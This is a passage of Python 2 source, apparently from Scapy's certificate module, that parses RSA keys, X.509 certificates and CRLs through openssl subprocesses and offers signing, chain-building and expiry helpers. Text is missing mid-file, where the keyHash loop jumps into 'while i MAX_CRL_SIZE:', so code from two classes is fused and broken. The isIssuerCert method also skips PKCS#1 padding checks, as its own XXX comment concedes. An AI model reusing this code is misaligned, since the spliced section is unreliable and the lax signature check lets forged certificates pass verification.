"sha256", "sha384" and "sha512". if none is provided, sha1 is used. o 'mgf' is the mask generation function. By default, mgf is derived from the provided hash function using the generic MGF1 (see pkcs_mgf1() for details). o 'sLen' is the length in octet of the salt. You can overload the default value (the octet length of the hash value for provided algorithm) by providing another one with that parameter. """ if t is None: # RSASP1 M = pkcs_os2ip(M) n = self.modulus if M > n-1: warning("Message to be signed is too long for key modulus") return None s = self._rsasp1(M) if s is None: return None return pkcs_i2osp(s, self.modulusLen/8) elif t == "pkcs": # RSASSA-PKCS1-v1_5-SIGN if h is None: h = "sha1" return self._rsassa_pkcs1_v1_5_sign(M, h) elif t == "pss": # RSASSA-PSS-SIGN return self._rsassa_pss_sign(M, h, mgf, sLen) else: warning("Key.sign(): Unknown signature type (%s) provided" % t) return None class PubKey(OSSLHelper, _EncryptAndVerify): # Below are the fields we recognize in the -text output of openssl # and from which we extract information. We expect them in that # order. Number of spaces does matter. possible_fields = [ "Modulus (", "Exponent:" ] possible_fields_count = len(possible_fields) def __init__(self, keypath): error_msg = "Unable to import key." # XXX Temporary hack to use PubKey inside Cert if type(keypath) is tuple: e, m, mLen = keypath self.modulus = m self.modulusLen = mLen self.pubExp = e return fields_dict = {} for k in self.possible_fields: fields_dict[k] = None self.keypath = None rawkey = None if (not '\x00' in keypath) and os.path.isfile(keypath): # file self.keypath = keypath key_size = os.path.getsize(keypath) if key_size > MAX_KEY_SIZE: raise Exception(error_msg) try: f = open(keypath) rawkey = f.read() f.close() except: raise Exception(error_msg) else: rawkey = keypath if rawkey is None: raise Exception(error_msg) self.rawkey = rawkey # Let's try to get file format : PEM or DER. fmtstr = 'openssl rsa -text -pubin -inform %s -noout ' convertstr = 'openssl rsa -pubin -inform %s -outform %s 2>/dev/null' key_header = "-----BEGIN PUBLIC KEY-----" key_footer = "-----END PUBLIC KEY-----" l = rawkey.split(key_header, 1) if len(l) == 2: # looks like PEM tmp = l[1] l = tmp.split(key_footer, 1) if len(l) == 2: tmp = l[0] rawkey = "%s%s%s\n" % (key_header, tmp, key_footer) else: raise Exception(error_msg) r,w,e = popen2.popen3(fmtstr % "PEM") w.write(rawkey) w.close() textkey = r.read() r.close() res = e.read() e.close() if res == '': self.format = "PEM" self.pemkey = rawkey self.textkey = textkey cmd = convertstr % ("PEM", "DER") self.derkey = self._apply_ossl_cmd(cmd, rawkey) else: raise Exception(error_msg) else: # not PEM, try DER r,w,e = popen2.popen3(fmtstr % "DER") w.write(rawkey) w.close() textkey = r.read() r.close() res = e.read() if res == '': self.format = "DER" self.derkey = rawkey self.textkey = textkey cmd = convertstr % ("DER", "PEM") self.pemkey = self._apply_ossl_cmd(cmd, rawkey) cmd = convertstr % ("DER", "DER") self.derkey = self._apply_ossl_cmd(cmd, rawkey) else: try: # Perhaps it is a cert c = Cert(keypath) except: raise Exception(error_msg) # TODO: # Reconstruct a key (der and pem) and provide: # self.format # self.derkey # self.pemkey # self.textkey # self.keypath self.osslcmdbase = 'openssl rsa -pubin -inform %s ' % self.format self.keypath = keypath # Parse the -text output of openssl to make things available l = self.textkey.split('\n', 1) if len(l) != 2: raise Exception(error_msg) cur, tmp = l i = 0 k = self.possible_fields[i] # Modulus ( cur = cur[len(k):] + '\n' while k: l = tmp.split('\n', 1) if len(l) != 2: # Over fields_dict[k] = cur break l, tmp = l newkey = 0 # skip fields we have already seen, this is the purpose of 'i' for j in range(i, self.possible_fields_count): f = self.possible_fields[j] if l.startswith(f): fields_dict[k] = cur cur = l[len(f):] + '\n' k = f newkey = 1 i = j+1 break if newkey == 1: continue cur += l + '\n' # modulus and modulus length v = fields_dict["Modulus ("] self.modulusLen = None if v: v, rem = v.split(' bit):', 1) self.modulusLen = int(v) rem = rem.replace('\n','').replace(' ','').replace(':','') self.modulus = long(rem, 16) if self.modulus is None: raise Exception(error_msg) # public exponent v = fields_dict["Exponent:"] self.pubExp = None if v: self.pubExp = long(v.split('(', 1)[0]) if self.pubExp is None: raise Exception(error_msg) self.key = RSA.construct((self.modulus, self.pubExp, )) def __str__(self): return self.derkey class Key(OSSLHelper, _DecryptAndSignMethods, _EncryptAndVerify): # Below are the fields we recognize in the -text output of openssl # and from which we extract information. We expect them in that # order. Number of spaces does matter. possible_fields = [ "Private-Key: (", "modulus:", "publicExponent:", "privateExponent:", "prime1:", "prime2:", "exponent1:", "exponent2:", "coefficient:" ] possible_fields_count = len(possible_fields) def __init__(self, keypath): error_msg = "Unable to import key." fields_dict = {} for k in self.possible_fields: fields_dict[k] = None self.keypath = None rawkey = None if (not '\x00' in keypath) and os.path.isfile(keypath): self.keypath = keypath key_size = os.path.getsize(keypath) if key_size > MAX_KEY_SIZE: raise Exception(error_msg) try: f = open(keypath) rawkey = f.read() f.close() except: raise Exception(error_msg) else: rawkey = keypath if rawkey is None: raise Exception(error_msg) self.rawkey = rawkey # Let's try to get file format : PEM or DER. fmtstr = 'openssl rsa -text -inform %s -noout ' convertstr = 'openssl rsa -inform %s -outform %s 2>/dev/null' key_header = "-----BEGIN RSA PRIVATE KEY-----" key_footer = "-----END RSA PRIVATE KEY-----" l = rawkey.split(key_header, 1) if len(l) == 2: # looks like PEM tmp = l[1] l = tmp.split(key_footer, 1) if len(l) == 2: tmp = l[0] rawkey = "%s%s%s\n" % (key_header, tmp, key_footer) else: raise Exception(error_msg) r,w,e = popen2.popen3(fmtstr % "PEM") w.write(rawkey) w.close() textkey = r.read() r.close() res = e.read() e.close() if res == '': self.format = "PEM" self.pemkey = rawkey self.textkey = textkey cmd = convertstr % ("PEM", "DER") self.derkey = self._apply_ossl_cmd(cmd, rawkey) else: raise Exception(error_msg) else: # not PEM, try DER r,w,e = popen2.popen3(fmtstr % "DER") w.write(rawkey) w.close() textkey = r.read() r.close() res = e.read() if res == '': self.format = "DER" self.derkey = rawkey self.textkey = textkey cmd = convertstr % ("DER", "PEM") self.pemkey = self._apply_ossl_cmd(cmd, rawkey) cmd = convertstr % ("DER", "DER") self.derkey = self._apply_ossl_cmd(cmd, rawkey) else: raise Exception(error_msg) self.osslcmdbase = 'openssl rsa -inform %s ' % self.format r,w,e = popen2.popen3('openssl asn1parse -inform DER ') w.write(self.derkey) w.close() self.asn1parsekey = r.read() r.close() res = e.read() e.close() if res != '': raise Exception(error_msg) self.keypath = keypath # Parse the -text output of openssl to make things available l = self.textkey.split('\n', 1) if len(l) != 2: raise Exception(error_msg) cur, tmp = l i = 0 k = self.possible_fields[i] # Private-Key: ( cur = cur[len(k):] + '\n' while k: l = tmp.split('\n', 1) if len(l) != 2: # Over fields_dict[k] = cur break l, tmp = l newkey = 0 # skip fields we have already seen, this is the purpose of 'i' for j in range(i, self.possible_fields_count): f = self.possible_fields[j] if l.startswith(f): fields_dict[k] = cur cur = l[len(f):] + '\n' k = f newkey = 1 i = j+1 break if newkey == 1: continue cur += l + '\n' # modulus length v = fields_dict["Private-Key: ("] self.modulusLen = None if v: self.modulusLen = int(v.split(' bit', 1)[0]) if self.modulusLen is None: raise Exception(error_msg) # public exponent v = fields_dict["publicExponent:"] self.pubExp = None if v: self.pubExp = long(v.split('(', 1)[0]) if self.pubExp is None: raise Exception(error_msg) tmp = {} for k in ["modulus:", "privateExponent:", "prime1:", "prime2:", "exponent1:", "exponent2:", "coefficient:"]: v = fields_dict[k] if v: s = v.replace('\n', '').replace(' ', '').replace(':', '') tmp[k] = long(s, 16) else: raise Exception(error_msg) self.modulus = tmp["modulus:"] self.privExp = tmp["privateExponent:"] self.prime1 = tmp["prime1:"] self.prime2 = tmp["prime2:"] self.exponent1 = tmp["exponent1:"] self.exponent2 = tmp["exponent2:"] self.coefficient = tmp["coefficient:"] self.key = RSA.construct((self.modulus, self.pubExp, self.privExp)) def __str__(self): return self.derkey # We inherit from PubKey to get access to all encryption and verification # methods. To have that working, we simply need Cert to provide # modulusLen and key attribute. # XXX Yes, it is a hack. class Cert(OSSLHelper, _EncryptAndVerify): # Below are the fields we recognize in the -text output of openssl # and from which we extract information. We expect them in that # order. Number of spaces does matter. possible_fields = [ " Version:", " Serial Number:", " Signature Algorithm:", " Issuer:", " Not Before:", " Not After :", " Subject:", " Public Key Algorithm:", " Modulus (", " Exponent:", " X509v3 Subject Key Identifier:", " X509v3 Authority Key Identifier:", " keyid:", " DirName:", " serial:", " X509v3 Basic Constraints:", " X509v3 Key Usage:", " X509v3 Extended Key Usage:", " X509v3 CRL Distribution Points:", " Authority Information Access:", " Signature Algorithm:" ] possible_fields_count = len(possible_fields) def __init__(self, certpath): error_msg = "Unable to import certificate." fields_dict = {} for k in self.possible_fields: fields_dict[k] = None self.certpath = None rawcert = None if (not '\x00' in certpath) and os.path.isfile(certpath): # file self.certpath = certpath cert_size = os.path.getsize(certpath) if cert_size > MAX_CERT_SIZE: raise Exception(error_msg) try: f = open(certpath) rawcert = f.read() f.close() except: raise Exception(error_msg) else: rawcert = certpath if rawcert is None: raise Exception(error_msg) self.rawcert = rawcert # Let's try to get file format : PEM or DER. fmtstr = 'openssl x509 -text -inform %s -noout ' convertstr = 'openssl x509 -inform %s -outform %s ' cert_header = "-----BEGIN CERTIFICATE-----" cert_footer = "-----END CERTIFICATE-----" l = rawcert.split(cert_header, 1) if len(l) == 2: # looks like PEM tmp = l[1] l = tmp.split(cert_footer, 1) if len(l) == 2: tmp = l[0] rawcert = "%s%s%s\n" % (cert_header, tmp, cert_footer) else: raise Exception(error_msg) r,w,e = popen2.popen3(fmtstr % "PEM") w.write(rawcert) w.close() textcert = r.read() r.close() res = e.read() e.close() if res == '': self.format = "PEM" self.pemcert = rawcert self.textcert = textcert cmd = convertstr % ("PEM", "DER") self.dercert = self._apply_ossl_cmd(cmd, rawcert) else: raise Exception(error_msg) else: # not PEM, try DER r,w,e = popen2.popen3(fmtstr % "DER") w.write(rawcert) w.close() textcert = r.read() r.close() res = e.read() if res == '': self.format = "DER" self.dercert = rawcert self.textcert = textcert cmd = convertstr % ("DER", "PEM") self.pemcert = self._apply_ossl_cmd(cmd, rawcert) cmd = convertstr % ("DER", "DER") self.dercert = self._apply_ossl_cmd(cmd, rawcert) else: raise Exception(error_msg) self.osslcmdbase = 'openssl x509 -inform %s ' % self.format r,w,e = popen2.popen3('openssl asn1parse -inform DER ') w.write(self.dercert) w.close() self.asn1parsecert = r.read() r.close() res = e.read() e.close() if res != '': raise Exception(error_msg) # Grab _raw_ X509v3 Authority Key Identifier, if any. tmp = self.asn1parsecert.split(":X509v3 Authority Key Identifier", 1) self.authorityKeyID = None if len(tmp) == 2: tmp = tmp[1] tmp = tmp.split("[HEX DUMP]:", 1)[1] self.authorityKeyID=tmp.split('\n',1)[0] # Grab _raw_ X509v3 Subject Key Identifier, if any. tmp = self.asn1parsecert.split(":X509v3 Subject Key Identifier", 1) self.subjectKeyID = None if len(tmp) == 2: tmp = tmp[1] tmp = tmp.split("[HEX DUMP]:", 1)[1] self.subjectKeyID=tmp.split('\n',1)[0] # Get tbsCertificate using the worst hack. output of asn1parse # looks like that: # # 0:d=0 hl=4 l=1298 cons: SEQUENCE # 4:d=1 hl=4 l=1018 cons: SEQUENCE # ... # l1,l2 = self.asn1parsecert.split('\n', 2)[:2] hl1 = int(l1.split("hl=",1)[1].split("l=",1)[0]) rem = l2.split("hl=",1)[1] hl2, rem = rem.split("l=",1) hl2 = int(hl2) l = int(rem.split("cons",1)[0]) self.tbsCertificate = self.dercert[hl1:hl1+hl2+l] # Parse the -text output of openssl to make things available tmp = self.textcert.split('\n', 2)[2] l = tmp.split('\n', 1) if len(l) != 2: raise Exception(error_msg) cur, tmp = l i = 0 k = self.possible_fields[i] # Version: cur = cur[len(k):] + '\n' while k: l = tmp.split('\n', 1) if len(l) != 2: # Over fields_dict[k] = cur break l, tmp = l newkey = 0 # skip fields we have already seen, this is the purpose of 'i' for j in range(i, self.possible_fields_count): f = self.possible_fields[j] if l.startswith(f): fields_dict[k] = cur cur = l[len(f):] + '\n' k = f newkey = 1 i = j+1 break if newkey == 1: continue cur += l + '\n' # version v = fields_dict[" Version:"] self.version = None if v: self.version = int(v[1:2]) if self.version is None: raise Exception(error_msg) # serial number v = fields_dict[" Serial Number:"] self.serial = None if v: v = v.replace('\n', '').strip() if "0x" in v: v = v.split("0x", 1)[1].split(')', 1)[0] v = v.replace(':', '').upper() if len(v) % 2: v = '0' + v self.serial = v if self.serial is None: raise Exception(error_msg) # Signature Algorithm v = fields_dict[" Signature Algorithm:"] self.sigAlg = None if v: v = v.split('\n',1)[0] v = v.strip() self.sigAlg = v if self.sigAlg is None: raise Exception(error_msg) # issuer v = fields_dict[" Issuer:"] self.issuer = None if v: v = v.split('\n',1)[0] v = v.strip() self.issuer = v if self.issuer is None: raise Exception(error_msg) # not before v = fields_dict[" Not Before:"] self.notBefore_str = None if v: v = v.split('\n',1)[0] v = v.strip() self.notBefore_str = v if self.notBefore_str is None: raise Exception(error_msg) try: self.notBefore = time.strptime(self.notBefore_str, "%b %d %H:%M:%S %Y %Z") except: self.notBefore = time.strptime(self.notBefore_str, "%b %d %H:%M:%S %Y") self.notBefore_str_simple = time.strftime("%x", self.notBefore) # not after v = fields_dict[" Not After :"] self.notAfter_str = None if v: v = v.split('\n',1)[0] v = v.strip() self.notAfter_str = v if self.notAfter_str is None: raise Exception(error_msg) try: self.notAfter = time.strptime(self.notAfter_str, "%b %d %H:%M:%S %Y %Z") except: self.notAfter = time.strptime(self.notAfter_str, "%b %d %H:%M:%S %Y") self.notAfter_str_simple = time.strftime("%x", self.notAfter) # subject v = fields_dict[" Subject:"] self.subject = None if v: v = v.split('\n',1)[0] v = v.strip() self.subject = v if self.subject is None: raise Exception(error_msg) # Public Key Algorithm v = fields_dict[" Public Key Algorithm:"] self.pubKeyAlg = None if v: v = v.split('\n',1)[0] v = v.strip() self.pubKeyAlg = v if self.pubKeyAlg is None: raise Exception(error_msg) # Modulus v = fields_dict[" Modulus ("] self.modulus = None if v: v,t = v.split(' bit):',1) self.modulusLen = int(v) t = t.replace(' ', '').replace('\n', ''). replace(':', '') self.modulus_hexdump = t self.modulus = long(t, 16) if self.modulus is None: raise Exception(error_msg) # Exponent v = fields_dict[" Exponent:"] self.exponent = None if v: v = v.split('(',1)[0] self.exponent = long(v) if self.exponent is None: raise Exception(error_msg) # Public Key instance self.key = RSA.construct((self.modulus, self.exponent, )) # Subject Key Identifier # Authority Key Identifier: keyid, dirname and serial self.authorityKeyID_keyid = None self.authorityKeyID_dirname = None self.authorityKeyID_serial = None if self.authorityKeyID: # (hex version already done using asn1parse) v = fields_dict[" keyid:"] if v: v = v.split('\n',1)[0] v = v.strip().replace(':', '') self.authorityKeyID_keyid = v v = fields_dict[" DirName:"] if v: v = v.split('\n',1)[0] self.authorityKeyID_dirname = v v = fields_dict[" serial:"] if v: v = v.split('\n',1)[0] v = v.strip().replace(':', '') self.authorityKeyID_serial = v # Basic constraints self.basicConstraintsCritical = False self.basicConstraints=None v = fields_dict[" X509v3 Basic Constraints:"] if v: self.basicConstraints = {} v,t = v.split('\n',2)[:2] if "critical" in v: self.basicConstraintsCritical = True if "CA:" in t: self.basicConstraints["CA"] = t.split('CA:')[1][:4] == "TRUE" if "pathlen:" in t: self.basicConstraints["pathlen"] = int(t.split('pathlen:')[1]) # X509v3 Key Usage self.keyUsage = [] v = fields_dict[" X509v3 Key Usage:"] if v: # man 5 x509v3_config ku_mapping = {"Digital Signature": "digitalSignature", "Non Repudiation": "nonRepudiation", "Key Encipherment": "keyEncipherment", "Data Encipherment": "dataEncipherment", "Key Agreement": "keyAgreement", "Certificate Sign": "keyCertSign", "CRL Sign": "cRLSign", "Encipher Only": "encipherOnly", "Decipher Only": "decipherOnly"} v = v.split('\n',2)[1] l = map(lambda x: x.strip(), v.split(',')) while l: c = l.pop() if ku_mapping.has_key(c): self.keyUsage.append(ku_mapping[c]) else: self.keyUsage.append(c) # Add it anyway print "Found unknown X509v3 Key Usage: '%s'" % c print "Report it to arno (at) natisbad.org for addition" # X509v3 Extended Key Usage self.extKeyUsage = [] v = fields_dict[" X509v3 Extended Key Usage:"] if v: # man 5 x509v3_config: eku_mapping = {"TLS Web Server Authentication": "serverAuth", "TLS Web Client Authentication": "clientAuth", "Code Signing": "codeSigning", "E-mail Protection": "emailProtection", "Time Stamping": "timeStamping", "Microsoft Individual Code Signing": "msCodeInd", "Microsoft Commercial Code Signing": "msCodeCom", "Microsoft Trust List Signing": "msCTLSign", "Microsoft Encrypted File System": "msEFS", "Microsoft Server Gated Crypto": "msSGC", "Netscape Server Gated Crypto": "nsSGC", "IPSec End System": "iPsecEndSystem", "IPSec Tunnel": "iPsecTunnel", "IPSec User": "iPsecUser"} v = v.split('\n',2)[1] l = map(lambda x: x.strip(), v.split(',')) while l: c = l.pop() if eku_mapping.has_key(c): self.extKeyUsage.append(eku_mapping[c]) else: self.extKeyUsage.append(c) # Add it anyway print "Found unknown X509v3 Extended Key Usage: '%s'" % c print "Report it to arno (at) natisbad.org for addition" # CRL Distribution points self.cRLDistributionPoints = [] v = fields_dict[" X509v3 CRL Distribution Points:"] if v: v = v.split("\n\n", 1)[0] v = v.split("URI:")[1:] self.CRLDistributionPoints = map(lambda x: x.strip(), v) # Authority Information Access: list of tuples ("method", "location") self.authorityInfoAccess = [] v = fields_dict[" Authority Information Access:"] if v: v = v.split("\n\n", 1)[0] v = v.split("\n")[1:] for e in v: method, location = map(lambda x: x.strip(), e.split(" - ", 1)) self.authorityInfoAccess.append((method, location)) # signature field v = fields_dict[" Signature Algorithm:" ] self.sig = None if v: v = v.split('\n',1)[1] v = v.replace(' ', '').replace('\n', '') self.sig = "".join(map(lambda x: chr(int(x, 16)), v.split(':'))) self.sigLen = len(self.sig) if self.sig is None: raise Exception(error_msg) def isIssuerCert(self, other): """ True if 'other' issued 'self', i.e.: - self.issuer == other.subject - self is signed by other """ # XXX should be done on raw values, instead of their textual repr if self.issuer != other.subject: return False # Sanity check regarding modulus length and the # signature length keyLen = (other.modulusLen + 7)/8 if keyLen != self.sigLen: return False unenc = other.encrypt(self.sig) # public key encryption, i.e. decrypt # XXX Check block type (00 or 01 and type of padding) unenc = unenc[1:] if not '\x00' in unenc: return False pos = unenc.index('\x00') unenc = unenc[pos+1:] found = None for k in _hashFuncParams.keys(): if self.sigAlg.startswith(k): found = k break if not found: return False hlen, hfunc, digestInfo = _hashFuncParams[k] if len(unenc) != (hlen+len(digestInfo)): return False if not unenc.startswith(digestInfo): return False h = unenc[-hlen:] myh = hfunc(self.tbsCertificate) return h == myh def chain(self, certlist): """ Construct the chain of certificates leading from 'self' to the self signed root using the certificates in 'certlist'. If the list does not provide all the required certs to go to the root the function returns a incomplete chain starting with the certificate. This fact can be tested by tchecking if the last certificate of the returned chain is self signed (if c is the result, c[-1].isSelfSigned()) """ d = {} for c in certlist: # XXX we should check if we have duplicate d[c.subject] = c res = [self] cur = self while not cur.isSelfSigned(): if d.has_key(cur.issuer): possible_issuer = d[cur.issuer] if cur.isIssuerCert(possible_issuer): res.append(possible_issuer) cur = possible_issuer else: break return res def remainingDays(self, now=None): """ Based on the value of notBefore field, returns the number of days the certificate will still be valid. The date used for the comparison is the current and local date, as returned by time.localtime(), except if 'now' argument is provided another one. 'now' argument can be given as either a time tuple or a string representing the date. Accepted format for the string version are: - '%b %d %H:%M:%S %Y %Z' e.g. 'Jan 30 07:38:59 2008 GMT' - '%m/%d/%y' e.g. '01/30/08' (less precise) If the certificate is no more valid at the date considered, then, a negative value is returned representing the number of days since it has expired. The number of days is returned as a float to deal with the unlikely case of certificates that are still just valid. """ if now is None: now = time.localtime() elif type(now) is str: try: if '/' in now: now = time.strptime(now, '%m/%d/%y') else: now = time.strptime(now, '%b %d %H:%M:%S %Y %Z') except: warning("Bad time string provided '%s'. Using current time" % now) now = time.localtime() now = time.mktime(now) nft = time.mktime(self.notAfter) diff = (nft - now)/(24.*3600) return diff # return SHA-1 hash of cert embedded public key # !! At the moment, the trailing 0 is in the hashed string if any def keyHash(self): m = self.modulus_hexdump res = [] i = 0 l = len(m) while i MAX_CRL_SIZE: raise Exception(error_msg) try: f = open(crlpath) rawcrl = f.read() f.close() except: raise Exception(error_msg) else: rawcrl = crlpath if rawcrl is None: raise Exception(error_msg) self.rawcrl = rawcrl # Let's try to get file format : PEM or DER. fmtstr = 'openssl crl -text -inform %s -noout ' convertstr = 'openssl crl -inform %s -outform %s ' crl_header = "-----BEGIN X509 CRL-----" crl_footer = "-----END X509 CRL-----" l = rawcrl.split(crl_header, 1) if len(l) == 2: # looks like PEM tmp = l[1] l = tmp.split(crl_footer, 1) if len(l) == 2: tmp = l[0] rawcrl = "%s%s%s\n" % (crl_header, tmp, crl_footer) else: raise Exception(error_msg) r,w,e = popen2.popen3(fmtstr % "PEM") w.write(rawcrl) w.close() textcrl = r.read() r.close() res = e.read() e.close() if res == '': self.format = "PEM" self.pemcrl = rawcrl self.textcrl = textcrl cmd = convertstr % ("PEM", "DER") self.dercrl = self._apply_ossl_cmd(cmd, rawcrl) else: raise Exception(error_msg) else: # not PEM, try DER r,w,e = popen2.popen3(fmtstr % "DER") w.write(rawcrl) w.close() textcrl = r.read() r.close() res = e.read() if res == '': self.format = "DER" self.dercrl = rawcrl self.textcrl = textcrl cmd = convertstr % ("DER", "PEM") self.pemcrl = self._apply_ossl_cmd(cmd, rawcrl) cmd = convertstr % ("DER", "DER") self.dercrl = self._apply_ossl_cmd(cmd, rawcrl) else: raise Exception(error_msg) self.osslcmdbase = 'openssl crl -inform %s ' % self.format r,w,e = popen2.popen3('openssl asn1parse -inform DER ') w.write(self.dercrl) w.close() self.asn1parsecrl = r.read() r.close() res = e.read() e.close() if res != '': raise Exception(error_msg) # Grab _raw_ X509v3 Authority Key Identifier, if any. tmp = self.asn1parsecrl.split(":X509v3 Authority Key Identifier", 1) self.authorityKeyID = None if len(tmp) == 2: tmp = tmp[1] tmp = tmp.split("[HEX DUMP]:", 1)[1] self.authorityKeyID=tmp.split('\n',1)[0] # Parse the -text output of openssl to make things available tmp = self.textcrl.split('\n', 1)[1] l = tmp.split('\n', 1) if len(l) != 2: raise Exception(error_msg) cur, tmp = l i = 0 k = self.possible_fields[i] # Version cur = cur[len(k):] + '\n' while k: l = tmp.split('\n', 1) if len(l) != 2: # Over fields_dict[k] = cur break l, tmp = l newkey = 0 # skip fields we have already seen, this is the purpose of 'i' for j in range(i, self.possible_fields_count): f = self.possible_fields[j] if l.startswith(f): fields_dict[k] = cur cur = l[len(f):] + '\n' k = f newkey = 1 i = j+1 break if newkey == 1: continue cur += l + '\n' # version v = fields_dict[" Version"] self.version = None if v: self.version = int(v[1:2]) if self.version is None: raise Exception(error_msg) # signature algorithm v = fields_dict[" Signature Algorithm:"] self.sigAlg = None if v: v = v.split('\n',1)[0] v = v.strip() self.sigAlg = v if self.sigAlg is None: raise Exception(error_msg) # issuer v = fields_dict[" Issuer:"] self.issuer = None if v: v = v.split('\n',1)[0] v = v.strip() self.issuer = v if self.issuer is None: raise Exception(error_msg) # last update v = fields_dict[" Last Update:"] self.lastUpdate_str = None if v: v = v.split('\n',1)[0] v = v.strip() self.lastUpdate_str = v if self.lastUpdate_str is None: raise Exception(error_msg) self.lastUpdate = time.strptime(self.lastUpdate_str, "%b %d %H:%M:%S %Y %Z") self.lastUpdate_str_simple = time.strftime("%x", self.lastUpdate) # next update v = fields_dict[" Next Update:"] self.nextUpdate_str = None if v: v = v.split('\n',1)[0] v = v.strip() self.nextUpdate_str = v if self.nextUpdate_str is None: raise Exception(error_msg) self.nextUpdate = time.strptime(self.nextUpdate_str, "%b %d %H:%M:%S %Y %Z") self.nextUpdate_str_simple = time.strftime("%x", self.nextUpdate) # XXX Do something for Issuer Alternative Name # Authority Key Identifier: keyid, dirname and serial self.authorityKeyID_keyid = None self.authorityKeyID_dirname = None self.authorityKeyID_serial = None if self.authorityKeyID: # (hex version already done using asn1parse) v = fields_dict[" keyid:"] if v: v = v.split('\n',1)[0] v = v.strip().replace(':', '') self.authorityKeyID_keyid = v v = fields_dict[" DirName:"] if v: v = v.split('\n',1)[0] self.authorityKeyID_dirname = v v = fields_dict[" serial:"] if v: v = v.split('\n',1)[0] v = v.strip().replace(':', '') self.authorityKeyID_serial = v # number v = fields_dict[" X509v3 CRL Number:"] self.number = None if v: v = v.split('\n',2)[1] v = v.strip() self.number = int(v) # Get the list of serial numbers of revoked certificates self.revoked_cert_serials = [] v = fields_dict["Revoked Certificates:"] t = fields_dict["No Revoked Certificates."] if (t is None and v is not None): v = v.split("Serial Number: ")[1:] for r in v: s,d = r.split('\n', 1) s = s.split('\n', 1)[0] d = d.split("Revocation Date:", 1)[1] d = time.strptime(d.strip(), "%b %d %H:%M:%S %Y %Z") self.revoked_cert_serials.append((s,d)) # signature field v = fields_dict[" Signature Algorithm:" ] self.sig = None if v: v = v.split('\n',1)[1] v = v.replace(' ', '').replace('\n', '') self.sig = "".join(map(lambda x: chr(int(x, 16)), v.split(':'))) self.sigLen = len(self.sig) if self.sig is None: raise Exception(error_msg) def __str__(self): return self.dercrl # Print main informations stored in CRL def show(self): print "Version: %d" % self.version print "sigAlg: " + self.sigAlg print "Issuer: " + self.issuer print "lastUpdate: %s" % self.lastUpdate_str_simple print "nextUpdate: %s" % self.nextUpdate_str_simple def verify(self, anchors): """ Return True if the CRL is signed by one of the provided anchors. False on error (invalid signature, missing anchorand, ...) """ cafile = create_temporary_ca_file(anchors) if cafile is None: return False try: cmd = self.osslcmdbase + '-noout -CAfile %s 2>&1' % cafile cmdres = self._apply_ossl_cmd(cmd, self.rawcrl) except: os.unlink(cafile) return False os.unlink(cafile) return "verify OK" in cmdres